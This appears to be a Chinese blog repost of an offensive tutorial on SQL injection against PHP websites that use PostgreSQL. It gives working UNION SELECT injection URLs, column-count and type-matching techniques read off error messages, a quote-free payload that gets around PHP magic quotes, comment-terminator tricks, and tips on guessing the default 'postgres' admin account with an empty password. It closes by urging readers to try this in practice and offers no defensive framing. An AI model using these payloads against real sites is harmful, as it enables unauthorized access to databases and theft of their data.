当前位置:首页 >> 网络通讯 >> 网络安全 >> 内容

PostgreSQL注入常见问题入总结

时间:2013/4/19 12:10:00 作者:平凡之路 来源:xuhantao.com 浏览:

1) 如何判断php搭配数据库为PostgreSQL 我们假设一个php+PostgreSQL并且开启了错误回显的网站有一个注入点,我们在xx.php?id=n后面加单引号’,它的回显将会是这样的: Warning: pg_query() [function.pg-query]: Query failed: ERROR: unterminated quoted string at or near “‘” LINE 1: select * from now where no = 111′ ^ in /home/sites/web/school/detail.php on line 307 有这样几个关键字可以判断数据库为PostgreSQL: 操作PostgreSQL的函数pg_query() 关键字function.pg-query中的pg 看熟了MySQL的错误回显,有没有发现这个unterminated quoted string at or near不是MySQL的?MySQL的错误回显和这个区别太大了

 

2) 字段数和字段间编码问题 我们首先将上面的注入点order by 2可以确认now数据表的字段数大于2,当我们order by 2000的时候,显然不可能有那个表段中有2000条数据,当然会出错 Warning:pg_query() [function.pg-query]: Query failed: ERROR: ORDER BY position 2000 is not in select list in /home/sites/web/school/detail.php on line 307 这样大致可以确认可以猜出正确的字段数了。假设字段数为14,那么我们按照MySQL的步骤搜狗电脑知识网

 

xx.php?id=0+union+select+1,2,3,4,5,6,7,8,9,10,11,12,13,14 

这句没问题吧?但是它99%概率会出问题了: Warning: pg_query() [function.pg-query]: Query failed: ERROR: UNION types character varying and integer cannot be matched in /home/sites/web/school/detail.php on line 307 这个回显是什么意思呢?问题很简单,union前后的字段数相同了,但是类型不同了。 这就像大家来找茬:

 

Union前(程序原来的):SELECT 数字,文本,日期,数字,数字,时间,文本,数字,文,数,文,数,文,数 

Union后(我们注入的):SELECT 数字,数字,数字,数字,数字,数字,数字,数字,数,数,数,数,数,数 

和我们要来找茬游戏差不多,我们要做的就是矫正字段与字段间的区别。 错误提示中没有提示这14个中,哪一个字段出问题了,我们要一次性让字段数对工整了恐怕有n的14次方种可能,怎么办呢? 很简单,先吧1,2,3,4…..13,14这些字段统统换成NULL,例如:

 

xx.php?id=正确的id数字+and+1=1+union+select+null,null,null,null,null,null,null,null,null,null,null,null,null,null 

这样就会正确显示原来的新闻页面了 然后我们试着把null依次换成数字,依次替换一个,如果依然返回正确的新闻页面则保留数字并替换下一个,如果返回错误信息就重新换回null并继续替换下一个 这样我们就得到:

 

Union前(程序原来的):SELECT 数字,文本,日期,数字,数字,时间,文本,数字,文,数,文,数,文,数 

Union后(我们注入的):SELECT 数字,NULL,NULL,数字,数字,NULL,NULL,数,NULL,数,NULL,数,NULL,数 

实际中,数字型是占少数的,一般我们都是用文本型做显示位的。 找出文本型显示位很简单,和数字一样,依次替换并确认,只不过这次不是替换成数字,而是替换成文本,例如’a’

 

Union前(程序原来的):SELECT 数字,文本,日期,数字,数字,时间,文本,数字,文,数,文,数,文,数 

Union后(我们注入的):SELECT 数字,’a',NULL,数字,数字,NULL,’a',数,’a',数,’a',数,’a',数 

这样就明了了吧? 最后应用于实际:

 

xx.php?id=0+union+select+1,’a',null,2,3,null,’b',2,’c',3,’d',4,’e',6 

这样八九不离十会出显示位的。

3) GPC设置为on问题 PHP有个功能是魔术引号,学称“自动字符串转义”,就是你把.php?id=3′or’1′=’1访问后PHP自动给你转换成.php?id=3\’or\’1\’=\’1然后进行下一步动作 问题在哪里呢?上面我们讲了,将字符型字段替换为’a'来依次确认,GPC为on,岂不是’a'都变成了\’a\’??? 没错,是变了。那么这步就不能进行?答案是能。要知道,计算机是人设计的,人是计算机灵感的来源。 首先向,我们注入的目的是什么?显示内容。那么我们为什么要让它使用’a'呢?’a'只不过是个用来判断的字符,和and 1=2一样,只是用于判断,无实际意义,and 1=2可以替换成1=3,1=4,甚至1=1000000000000000000000,这只是用来判断而已,没意义。 如果我们将’a'换成有意义的呢?例如version()就可以不需要加引号,比较一下:

 

xx.php?id=0+union+select+1,’a',null,2,3,null,’b',2,’c',3,’d',4,’e',6 

xx.php?id=0+union+select+1,version(),null,2,3,null,version(),2,version(),3,version(),4,version(),6 

整个语句没有用到任何一个单引号

4)注释符问题 PostgreSQL的注释符不是#,也就是说,末尾如果有语句未结束,不能加/*或者%23来终止。 那么用什么呢?显然是MySQL,MSSQL,SQLite还有PostgreSQL各种通用的“–”,也可以换成%2b%2b,一样的效果。 很好记,2B,二逼。测试中%2b%2b有可能会造成访问的短暂失去响应,目前不知道问题在哪里,而横线–则不会出现

5) 小技巧 PostgreSQL的管理员账户(类似于MySQL的root,MSSQL的sa)名字为postgres,根数据库(类似于MySQL的mysql数据库,MSSQL的master数据库)名字为postgres root和sa有设置空口令的二逼管理员,PostgreSQL也有很多设置空口令的二逼管理员。 遇到过一些给PostgreSQL设置了nologin的bash shell,后面你懂的,可以尝试登陆它的shell的

好了说了这么多,都是理,多应用于实践吧 

 

共有评论 0相关评论
发表我的评论
  • 大名:
  • 内容:
  • 徐汉涛(www.xuhantao.com) © 2024 版权所有 All Rights Reserved.
  • 部分内容来自网络,如有侵权请联系站长尽快处理 站长QQ:965898558(广告及站内业务受理) 网站备案号:蒙ICP备15000590号-1